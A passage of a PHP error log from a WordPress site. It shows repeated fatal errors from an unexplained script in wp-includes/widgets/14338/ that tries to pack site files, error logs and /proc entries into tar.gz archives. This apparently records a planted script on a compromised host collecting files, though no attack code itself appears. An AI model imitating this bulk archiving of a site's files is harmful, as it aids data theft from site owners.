  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:03:51 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:03:54 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:04:10 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:04:17 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:04:19 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:04:23 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:05:22 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/smp_affinity_list.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:05:26 UTC] PHP Fatal error:  Uncaught TypeError: readdir(): Argument #1 ($dir_handle) must be of type resource or null, bool given in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): readdir()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): AOSWS()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:05:49 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/fonts.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:08:40 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/accept_ra_min_hop_limit.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:12:18 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Core.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:12:22 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/error_log.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:12:34 UTC] PHP Fatal error:  Uncaught RuntimeException: phar error: unable to open file "/proc/sys/fs/datacycle/user_ro_mode" to add to phar archive in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->addFile()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:13:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Configuration.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:24:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/inline.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:25:03 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/library.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:25:09 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/readonly.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:25:40 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/src.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:26:09 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/license.txt.txt.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:27:13 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 601890552 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:27:28 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a file that could not be opened "/proc/724718/ns/net:[4026531992]" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:27:56 UTC] PHP Fatal error:  Uncaught RuntimeException: phar error: unable to open file "/proc/724718/net/ip_tables_matches" to add to phar archive in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->addFile()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:29:03 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/error_log.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:29:10 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/error_log.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:29:18 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Gzdecode.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:29:22 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Cache.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:29:26 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Category.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:29:29 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Registry.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:29:32 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Sanitize.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:29:35 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Decode.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:29:49 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Net.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:30:24 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/XML.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:30:27 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Content.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:31:21 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/HTTP.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:31:42 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/IRI.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:31:46 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Restriction.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:32:25 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Declaration.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:33:13 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Parser.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:33:37 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Requests.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:37:35 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Cookie.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:37:53 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Ssl.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:38:46 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Iri.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:39:27 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/error_log.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:41:07 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Transport.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:41:33 UTC] PHP Fatal error:  Uncaught TypeError: readdir(): Argument #1 ($dir_handle) must be of type resource or null, bool given in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): readdir()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): AOSWS()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:42:06 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Exception.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:45:20 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Type.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:47:27 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Utility.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:48:42 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Auth.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:48:55 UTC] PHP Fatal error:  Uncaught TypeError: readdir(): Argument #1 ($dir_handle) must be of type resource or null, bool given in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): readdir()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): AOSWS()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 21:49:55 UTC] PHP Fatal error:  Uncaught TypeError: readdir(): Argument #1 ($dir_handle) must be of type resource or null, bool given in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): readdir()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): AOSWS()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
